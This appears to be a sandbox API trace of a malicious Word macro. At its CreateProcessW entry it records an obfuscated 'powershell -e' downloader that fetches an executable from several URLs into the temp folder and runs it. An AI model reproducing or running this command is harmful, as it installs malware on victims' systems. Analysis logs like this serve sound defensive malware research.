[0030.061] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307320 | out: ppvObject=0x307320*=0x0) returned 0x80004002
[0030.061] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x727944b0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307328 | out: ppvObject=0x307328*=0x0) returned 0x80004002
[0030.061] IUnknown:Release (This=0x756c55c) returned 0x5
[0030.062] GetAsyncKeyState (vKey=3) returned 0
[0030.242] GetAsyncKeyState (vKey=3) returned 0
[0030.243] VarAdd (in: pvarLeft=0x30784c, pvarRight=0x30781c, pvarResult=0x30780c | out: pvarResult=0x30780c) returned 0x0
[0030.243] VarAdd (in: pvarLeft=0x30780c, pvarRight=0x3077dc, pvarResult=0x3077cc | out: pvarResult=0x3077cc) returned 0x0
[0030.244] VarAdd (in: pvarLeft=0x3077cc, pvarRight=0x30779c, pvarResult=0x30778c | out: pvarResult=0x30778c) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x30784c, pvarRight=0x30781c, pvarResult=0x30780c | out: pvarResult=0x30780c) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x30780c, pvarRight=0x3076dc, pvarResult=0x3077ec | out: pvarResult=0x3077ec) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x3077ec, pvarRight=0x3076cc, pvarResult=0x3077dc | out: pvarResult=0x3077dc) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x3077dc, pvarRight=0x3076bc, pvarResult=0x3077cc | out: pvarResult=0x3077cc) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x3077cc, pvarRight=0x3076ac, pvarResult=0x3077ac | out: pvarResult=0x3077ac) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x3077ac, pvarRight=0x30769c, pvarResult=0x30779c | out: pvarResult=0x30779c) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x30779c, pvarRight=0x30768c, pvarResult=0x30778c | out: pvarResult=0x30778c) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x30778c, pvarRight=0x30767c, pvarResult=0x30766c | out: pvarResult=0x30766c) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x30766c, pvarRight=0x30765c, pvarResult=0x30764c | out: pvarResult=0x30764c) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x30764c, pvarRight=0x30763c, pvarResult=0x30762c | out: pvarResult=0x30762c) returned 0x0
[0030.245] VarAdd (in: pvarLeft=0x30762c, pvarRight=0x30761c, pvarResult=0x30760c | out: pvarResult=0x30760c) returned 0x0
[0030.246] VarAdd (in: pvarLeft=0x30760c, pvarRight=0x3075ec, pvarResult=0x3075dc | out: pvarResult=0x3075dc) returned 0x0
[0030.246] VarAdd (in: pvarLeft=0x3075dc, pvarRight=0x3075bc, pvarResult=0x3075ac | out: pvarResult=0x3075ac) returned 0x0
[0030.247] VarAdd (in: pvarLeft=0x3075ac, pvarRight=0x30757c, pvarResult=0x30756c | out: pvarResult=0x30756c) returned 0x0
[0030.247] VarAdd (in: pvarLeft=0x30755c, pvarRight=0x30777c, pvarResult=0x30785c | out: pvarResult=0x30785c) returned 0x0
[0030.503] VarAdd (in: pvarLeft=0x30752c, pvarRight=0x30785c, pvarResult=0x30784c | out: pvarResult=0x30784c) returned 0x0
[0030.504] VarAdd (in: pvarLeft=0x30784c, pvarRight=0x3076dc, pvarResult=0x30782c | out: pvarResult=0x30782c) returned 0x0
[0030.504] VarAdd (in: pvarLeft=0x30782c, pvarRight=0x3076cc, pvarResult=0x30781c | out: pvarResult=0x30781c) returned 0x0
[0030.505] VarAdd (in: pvarLeft=0x30781c, pvarRight=0x3076bc, pvarResult=0x30780c | out: pvarResult=0x30780c) returned 0x0
[0030.505] VarAdd (in: pvarLeft=0x30780c, pvarRight=0x3076ac, pvarResult=0x3077ec | out: pvarResult=0x3077ec) returned 0x0
[0030.506] VarAdd (in: pvarLeft=0x3077ec, pvarRight=0x30769c, pvarResult=0x3077dc | out: pvarResult=0x3077dc) returned 0x0
[0030.506] VarAdd (in: pvarLeft=0x3077dc, pvarRight=0x30768c, pvarResult=0x3077cc | out: pvarResult=0x3077cc) returned 0x0
[0030.507] VarAdd (in: pvarLeft=0x3077cc, pvarRight=0x30767c, pvarResult=0x3077ac | out: pvarResult=0x3077ac) returned 0x0
[0030.507] VarAdd (in: pvarLeft=0x3077ac, pvarRight=0x30765c, pvarResult=0x30779c | out: pvarResult=0x30779c) returned 0x0
[0030.507] VarAdd (in: pvarLeft=0x30779c, pvarRight=0x30763c, pvarResult=0x30778c | out: pvarResult=0x30778c) returned 0x0
[0030.508] VarAdd (in: pvarLeft=0x30778c, pvarRight=0x30761c, pvarResult=0x30766c | out: pvarResult=0x30766c) returned 0x0
[0030.508] VarAdd (in: pvarLeft=0x30766c, pvarRight=0x3074c4, pvarResult=0x30764c | out: pvarResult=0x30764c) returned 0x0
[0030.508] GetAsyncKeyState (vKey=3) returned 0
[0030.509] VarAdd (in: pvarLeft=0x307a98, pvarRight=0x307a88, pvarResult=0x307a78 | out: pvarResult=0x307a78) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x307a78, pvarRight=0x307a68, pvarResult=0x307a58 | out: pvarResult=0x307a58) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x307a58, pvarRight=0x307a48, pvarResult=0x307a38 | out: pvarResult=0x307a38) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x307a38, pvarRight=0x307a28, pvarResult=0x307a18 | out: pvarResult=0x307a18) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x307a18, pvarRight=0x307a08, pvarResult=0x3079f8 | out: pvarResult=0x3079f8) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x3079f8, pvarRight=0x3079e8, pvarResult=0x3079d8 | out: pvarResult=0x3079d8) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x3079d8, pvarRight=0x3079c8, pvarResult=0x3079b8 | out: pvarResult=0x3079b8) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x3079b8, pvarRight=0x3079a8, pvarResult=0x307998 | out: pvarResult=0x307998) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x307998, pvarRight=0x307988, pvarResult=0x307978 | out: pvarResult=0x307978) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x307978, pvarRight=0x307968, pvarResult=0x307958 | out: pvarResult=0x307958) returned 0x0
[0030.509] VarAdd (in: pvarLeft=0x307958, pvarRight=0x307948, pvarResult=0x307938 | out: pvarResult=0x307938) returned 0x0
[0030.509] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="powershell -e JAB7AHcAYABzAGAAYwBSAEkAcAB0AH0AIAA9ACAAJgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAG8AYgBqAGUAYwB0ACcALAAnAGUAdwAtACcALAAnAG4AJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADQAfQB7ADIAfQB7ADEAfQB7ADMAfQB7ADAAfQAiACAALQBmACAAJwBsAGwAJwAsACcAUwAnACwAJwAuACcALAAnAGgAZQAnACwAJwBXAFMAYwByAGkAcAB0ACcAKQA7ACQAewBXAGUAQgBjAGwAYABpAGAARQBOAHQAfQAgAD0AIAAuACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQAiACAALQBmACAAJwBuAGUAdwAtACcALAAnAG8AJwAsACcAYgAnACwAJwBqAGUAYwB0ACcAKQAgACgAIgB7ADQAfQB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBsAGkAZQAnACwAJwB0AGUAbQAuAE4AZQB0ACcALAAnAG4AdAAnACwAJwAuAFcAZQBiAEMAJwAsACcAUwB5AHMAJwApADsAJAB7AHIAYQBgAE4ARABPAE0AfQAgAD0AIAAmACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADAAfQAiACAALQBmACcAYwB0ACcALAAnAGIAagBlACcALAAnAGUAdwAtAG8AJwAsACcAbgAnACkAIAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAHIAYQBuAGQAbwAnACwAJwBtACcAKQA7ACQAewB1AGAAUgBsAFMAfQAgAD0AIAAoACIAewAxADcAfQB7ADIAMQB9AHsAMQAxAH0AewAxADUAfQB7ADEAfQB7ADMAfQB7ADMAOAB9AHsAMwA5AH0AewAzADcAfQB7ADIAMgB9AHsAMQAwAH0AewA2AH0AewAzADEAfQB7ADAAfQB7ADMANAB9AHsAMQA2AH0AewAyADYAfQB7ADMAMAB9AHsAMgAwAH0AewAxADQAfQB7ADkAfQB7ADMANgB9AHsAMgAzAH0AewA4AH0AewAyADQAfQB7ADIANQB9AHsAMgA5AH0AewAyADgAfQB7ADEAMgB9AHsANQB9AHsAMgB9AHsAMQA5AH0AewAyADcAfQB7ADcAfQB7ADEAMwB9AHsANAB9AHsAMQA4AH0AewAzADMAfQB7ADMANQB9AHsAMwAyAH0AIgAgAC0AZgAgACcAZQBhAHQAcwBwAGEAJwAsACcAaQBuAGUAJwAsACcAcwAuAGMAJwAsACcAYQBsAC4AYwBvAG0AJwAsACcAZwAnACwAJwBsAHUAJwAsACcAaAAnACwAJwByAGUAcwBzAC8AJwAsACcAZQBzAC4AbgBlACcALAAnAC8ALABoAHQAdABwACcALAAnACwAJwAsACcALwBrAGUAJwAsACcALwBiAG0AYQBzAHQAZQByAHAAJwAsACcARAAnACwAJwB5AHIAcgAnACwAJwByACcALAAnAC4AdQBrAC8AVgBRAC8ALABoAHQAdABwADoALwAvAHUAbQBlACcALAAnAGgAdAB0ACcALAAnAE4AJwAsACcAbwBtAC8AJwAsACcAbwBtAC8AJwAsACcAcAA6AC8AJwAsACcALwBoAFEAbwBCAG0ALwAnACwAJwAvAC8AbgB5AGUAcgBnACcALAAnAHQALwAnACwAJwBxAHEAcgAvACwAJwAsACcAeAAnACwAJwB3AG8AcgBkAHAAJwAsACcAcAA6AC8AJwAsACcAaAB0AHQAJwAsACcAeAAuAGMAJwAsACcAdAB0AHAAOgAvAC8AJwAsACcASgBGAGgALwAnACwAJwBuAGsAJwAsACcAbQAuAGMAbwAnACwAJwBHACcALAAnADoAJwAsACcAdAAnACwAJwAvAHMAJwAsACcAaQBtAHAAbAB5AGUAbABlAGcAYQBuACcAKQAuACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbABpAHQAJwAsACcAUwBwACcAKQAuAEkAbgB2AG8AawBlACgAJwAsACcAKQA7ACQAewBuAGAAQQBtAEUAfQAgAD0AIAAkAHsAcgBhAG4ARABgAE8ATQB9AC4AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHQAJwAsACcAbgBlAHgAJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBQAGAAQQBUAEgAfQAgAD0AIAAkAHsARQBgAE4AdgA6AGAAVABFAE0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBOAGAAQQBtAEUAfQAgACsAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBlAHgAZQAnACwAJwAuACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHsAdQBgAFIAbAB9ACAAaQBuACAAJAB7AFUAUgBgAGwAUwB9ACkAewB0AHIAeQB7ACQAewB3AEUAYgBgAGMATABJAGUAYABOAHQAfQAuACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAG4AbAAnACwAJwBEAG8AdwAnACwAJwBvAGEAZABGAGkAbABlACcAKQAuAEkAbgB2AG8AawBlACgAJAB7AHUAYABSAEwAfQAuACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACcAbgBnACcALAAnAGkAJwAsACcAVABvAFMAdAByACcAKQAuAEkAbgB2AG8AawBlACgAKQAsACAAJAB7AFAAYABBAHQAaAB9ACkAOwAmACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACAAJwBTACcALAAnAHQAYQByAHQALQAnACwAJwBQAHIAbwBjAGUAcwBzACcAKQAgACQAewBQAEEAYABUAEgAfQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsALgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAJwBpAHQAZQAtAGgAbwBzAHQAJwAsACcAcgAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAeABDAGAAZQBgAFAAVABpAE8ATgAiAC4AIgBtAGUAcwBzAGAAQQBgAGcAZQAiADsAfQB9AA0ACgA=", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x3078e0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3078d0 | out: lpCommandLine="powershell -e JAB7AHcAYABzAGAAYwBSAEkAcAB0AH0AIAA9ACAAJgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAG8AYgBqAGUAYwB0ACcALAAnAGUAdwAtACcALAAnAG4AJwApACAALQBDAG8AbQBPAGIAagBlAGMAdAAgACgAIgB7ADQAfQB7ADIAfQB7ADEAfQB7ADMAfQB7ADAAfQAiACAALQBmACAAJwBsAGwAJwAsACcAUwAnACwAJwAuACcALAAnAGgAZQAnACwAJwBXAFMAYwByAGkAcAB0ACcAKQA7ACQAewBXAGUAQgBjAGwAYABpAGAARQBOAHQAfQAgAD0AIAAuACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQAiACAALQBmACAAJwBuAGUAdwAtACcALAAnAG8AJwAsACcAYgAnACwAJwBqAGUAYwB0ACcAKQAgACgAIgB7ADQAfQB7ADEAfQB7ADMAfQB7ADAAfQB7ADIAfQAiACAALQBmACAAJwBsAGkAZQAnACwAJwB0AGUAbQAuAE4AZQB0ACcALAAnAG4AdAAnACwAJwAuAFcAZQBiAEMAJwAsACcAUwB5AHMAJwApADsAJAB7AHIAYQBgAE4ARABPAE0AfQAgAD0AIAAmACgAIgB7ADMAfQB7ADIAfQB7ADEAfQB7ADAAfQAiACAALQBmACcAYwB0ACcALAAnAGIAagBlACcALAAnAGUAdwAtAG8AJwAsACcAbgAnACkAIAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAHIAYQBuAGQAbwAnACwAJwBtACcAKQA7ACQAewB1AGAAUgBsAFMAfQAgAD0AIAAoACIAewAxADcAfQB7ADIAMQB9AHsAMQAxAH0AewAxADUAfQB7ADEAfQB7ADMAfQB7ADMAOAB9AHsAMwA5AH0AewAzADcAfQB7ADIAMgB9AHsAMQAwAH0AewA2AH0AewAzADEAfQB7ADAAfQB7ADMANAB9AHsAMQA2AH0AewAyADYAfQB7ADMAMAB9AHsAMgAwAH0AewAxADQAfQB7ADkAfQB7ADMANgB9AHsAMgAzAH0AewA4AH0AewAyADQAfQB7ADIANQB9AHsAMgA5AH0AewAyADgAfQB7ADEAMgB9AHsANQB9AHsAMgB9AHsAMQA5AH0AewAyADcAfQB7ADcAfQB7ADEAMwB9AHsANAB9AHsAMQA4AH0AewAzADMAfQB7ADMANQB9AHsAMwAyAH0AIgAgAC0AZgAgACcAZQBhAHQAcwBwAGEAJwAsACcAaQBuAGUAJwAsACcAcwAuAGMAJwAsACcAYQBsAC4AYwBvAG0AJwAsACcAZwAnACwAJwBsAHUAJwAsACcAaAAnACwAJwByAGUAcwBzAC8AJwAsACcAZQBzAC4AbgBlACcALAAnAC8ALABoAHQAdABwACcALAAnACwAJwAsACcALwBrAGUAJwAsACcALwBiAG0AYQBzAHQAZQByAHAAJwAsACcARAAnACwAJwB5AHIAcgAnACwAJwByACcALAAnAC4AdQBrAC8AVgBRAC8ALABoAHQAdABwADoALwAvAHUAbQBlACcALAAnAGgAdAB0ACcALAAnAE4AJwAsACcAbwBtAC8AJwAsACcAbwBtAC8AJwAsACcAcAA6AC8AJwAsACcALwBoAFEAbwBCAG0ALwAnACwAJwAvAC8AbgB5AGUAcgBnACcALAAnAHQALwAnACwAJwBxAHEAcgAvACwAJwAsACcAeAAnACwAJwB3AG8AcgBkAHAAJwAsACcAcAA6AC8AJwAsACcAaAB0AHQAJwAsACcAeAAuAGMAJwAsACcAdAB0AHAAOgAvAC8AJwAsACcASgBGAGgALwAnACwAJwBuAGsAJwAsACcAbQAuAGMAbwAnACwAJwBHACcALAAnADoAJwAsACcAdAAnACwAJwAvAHMAJwAsACcAaQBtAHAAbAB5AGUAbABlAGcAYQBuACcAKQAuACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACcAbABpAHQAJwAsACcAUwBwACcAKQAuAEkAbgB2AG8AawBlACgAJwAsACcAKQA7ACQAewBuAGAAQQBtAEUAfQAgAD0AIAAkAHsAcgBhAG4ARABgAE8ATQB9AC4AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHQAJwAsACcAbgBlAHgAJwApAC4ASQBuAHYAbwBrAGUAKAAxACwAIAA2ADUANQAzADYAKQA7ACQAewBQAGAAQQBUAEgAfQAgAD0AIAAkAHsARQBgAE4AdgA6AGAAVABFAE0AUAB9ACAAKwAgACcAXAAnACAAKwAgACQAewBOAGAAQQBtAEUAfQAgACsAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBlAHgAZQAnACwAJwAuACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHsAdQBgAFIAbAB9ACAAaQBuACAAJAB7AFUAUgBgAGwAUwB9ACkAewB0AHIAeQB7ACQAewB3AEUAYgBgAGMATABJAGUAYABOAHQAfQAuACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAG4AbAAnACwAJwBEAG8AdwAnACwAJwBvAGEAZABGAGkAbABlACcAKQAuAEkAbgB2AG8AawBlACgAJAB7AHUAYABSAEwAfQAuACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAgACcAbgBnACcALAAnAGkAJwAsACcAVABvAFMAdAByACcAKQAuAEkAbgB2AG8AawBlACgAKQAsACAAJAB7AFAAYABBAHQAaAB9ACkAOwAmACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACAAJwBTACcALAAnAHQAYQByAHQALQAnACwAJwBQAHIAbwBjAGUAcwBzACcAKQAgACQAewBQAEEAYABUAEgAfQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsALgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAJwBpAHQAZQAtAGgAbwBzAHQAJwAsACcAcgAnACwAJwB3ACcAKQAgACQAewBfAH0ALgAiAEUAeABDAGAAZQBgAFAAVABpAE8ATgAiAC4AIgBtAGUAcwBzAGAAQQBgAGcAZQAiADsAfQB9AA0ACgA=", lpProcessInformation=0x3078d0*(hProcess=0x998, hThread=0x990, dwProcessId=0xad4, dwThreadId=0xad8)) returned 1
[0030.552] GetLastError () returned 0x0
[0030.552] WaitForInputIdle (hProcess=0x998, dwMilliseconds=0x2710) returned 0xffffffff
[0030.552] CloseHandle (hObject=0x990) returned 1
[0030.552] CloseHandle (hObject=0x998) returned 1
[0030.554] CRetailMalloc_Free () returned 0x3720201
[0030.555] ITypeInfo:RemoteGetDocumentation (in: This=0x756c588, memid=5, refPtrFlags=0x308450, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x30880c | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x30880c*=0x0) returned 0x0
[0030.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0x308474, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5
[0030.555] _mbscpy_s (in: _Dst=0x30837c, _DstSizeInBytes=0xe, _Src=0x8392676 | out: _Dst=0x30837c) returned 0x0
[0030.555] _mbscpy_s (in: _Dst=0x308385, _DstSizeInBytes=0x5, _Src=0x308474 | out: _Dst=0x308385) returned 0x0
[0030.555] CRetailMalloc_Alloc () returned 0x760a300
[0030.555] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.555] IUnknown:Release (This=0x756c504) returned 0x2
[0030.555] IUnknown:AddRef (This=0x756c55c) returned 0x6
[0030.555] IUnknown:Release (This=0x756c55c) returned 0x5
[0030.556] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3082fc | out: ppvObject=0x3082fc*=0x0) returned 0x80004002
[0030.556] IUnknown:AddRef (This=0x756c588) returned 0x4
[0030.556] IUnknown:Release (This=0x756c588) returned 0x3
[0030.556] IUnknown:QueryInterface (in: This=0x756c588, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3082fc | out: ppvObject=0x3082fc*=0x0) returned 0x80004002
[0030.556] IUnknown:AddRef (This=0x756c504) returned 0x3
[0030.556] IUnknown:Release (This=0x756c504) returned 0x2
[0030.556] IUnknown:QueryInterface (in: This=0x756c504, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3082fc | out: ppvObject=0x3082fc*=0x0) returned 0x80004002
[0030.556] CRetailMalloc_Alloc () returned 0x74adda8
[0030.556] CRetailMalloc_Alloc () returned 0x76cc130
[0030.556] CRetailMalloc_Alloc () returned 0x76cc1a0
[0030.556] CRetailMalloc_Alloc () returned 0x5812090
[0030.556] CRetailMalloc_Alloc () returned 0x58122b8
[0030.556] IUnknown:QueryInterface (in: This=0x756c55c, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3082fc | out: ppvObject=0x3082fc*=0x0) returned 0x80004002
[0030.556] IUnknown:QueryInterface (in: This=0x756c588, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3082fc | out: ppvObject=0x3082fc*=0x0) returned 0x80004002
[0030.556] IUnknown:QueryInterface (in: This=0x756c504, riid=0x7278c9d8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x3082fc | out: ppvObject=0x3082fc*=0x0) returned 0x80004002
[0030.556] CRetailMalloc_Alloc () returned 0x7545538
[0030.556] _wcsicmp (_String1="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0
[0030.556] ITypeLib:RemoteGetLibAttr (in: This=0x75e9628, ppTLibAttr=0x307df8, pDummy=0x307fe0 | out: ppTLibAttr=0x307df8, pDummy=0x307fe0*=0x0) returned 0x0
[0030.556] ITypeLib:RemoteGetDocumentation (in: This=0x75e9628, index=-1, refPtrFlags=0x307df4, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307fe0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307fe0*=0x0) returned 0x0
[0030.556] CRetailMalloc_Realloc () returned 0x7532318
[0030.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchWideChar=66, lpMultiByteStr=0x307e44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL0", lpUsedDefaultChar=0x0) returned 66
[0030.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x307f4c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4
[0030.557] CRetailMalloc_Realloc () returned 0x7532540
[0030.557] IUnknown:AddRef (This=0x75e9628) returned 0x9
[0030.557] ITypeLib:LocalReleaseTLibAttr (This=0x75e9628) returned 0x7611d88
[0030.557] IUnknown:Release (This=0x75e9628) returned 0x8
[0030.557] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 5
[0030.557] _wcsicmp (_String1="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned 0
[0030.557] ITypeLib:RemoteGetLibAttr (in: This=0x75e82c0, ppTLibAttr=0x307df8, pDummy=0x307fe0 | out: ppTLibAttr=0x307df8, pDummy=0x307fe0*=0x0) returned 0x0
[0030.557] ITypeLib:RemoteGetDocumentation (in: This=0x75e82c0, index=-1, refPtrFlags=0x307df4, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307fe0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x307fe0*=0x0) returned 0x0
[0030.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library", cchWideChar=58, lpMultiByteStr=0x307e44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLBVBE7.DLL", lpUsedDefaultChar=0x0) returned 58
[0030.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Word", cchWideChar=5, lpMultiByteStr=0x307f4c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Word", lpUsedDefaultChar=0x0) returned 5
[0030.557] IUnknown:AddRef (This=0x75e82c0) returned 0xd
[0030.557] ITypeLib:LocalReleaseTLibAttr (This=0x75e82c0) returned 0x1c3f970
[0030.557] IUnknown:Release (This=0x75e82c0) returned 0xc
[0030.558] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned -50
[0030.558] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB#Microsoft Word 16.0 Object Library") returned -5
[0030.558] _wcsicmp (_String1="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation") returned 0
[0030.558] ITypeLib:RemoteGetLibAttr (in: This=0x5810260, ppTLibAttr=0x307df8, pDummy=0x307fe0 | out: ppTLibAttr=0x307df8, pDummy=0x307fe0*=0x0) returned 0x0
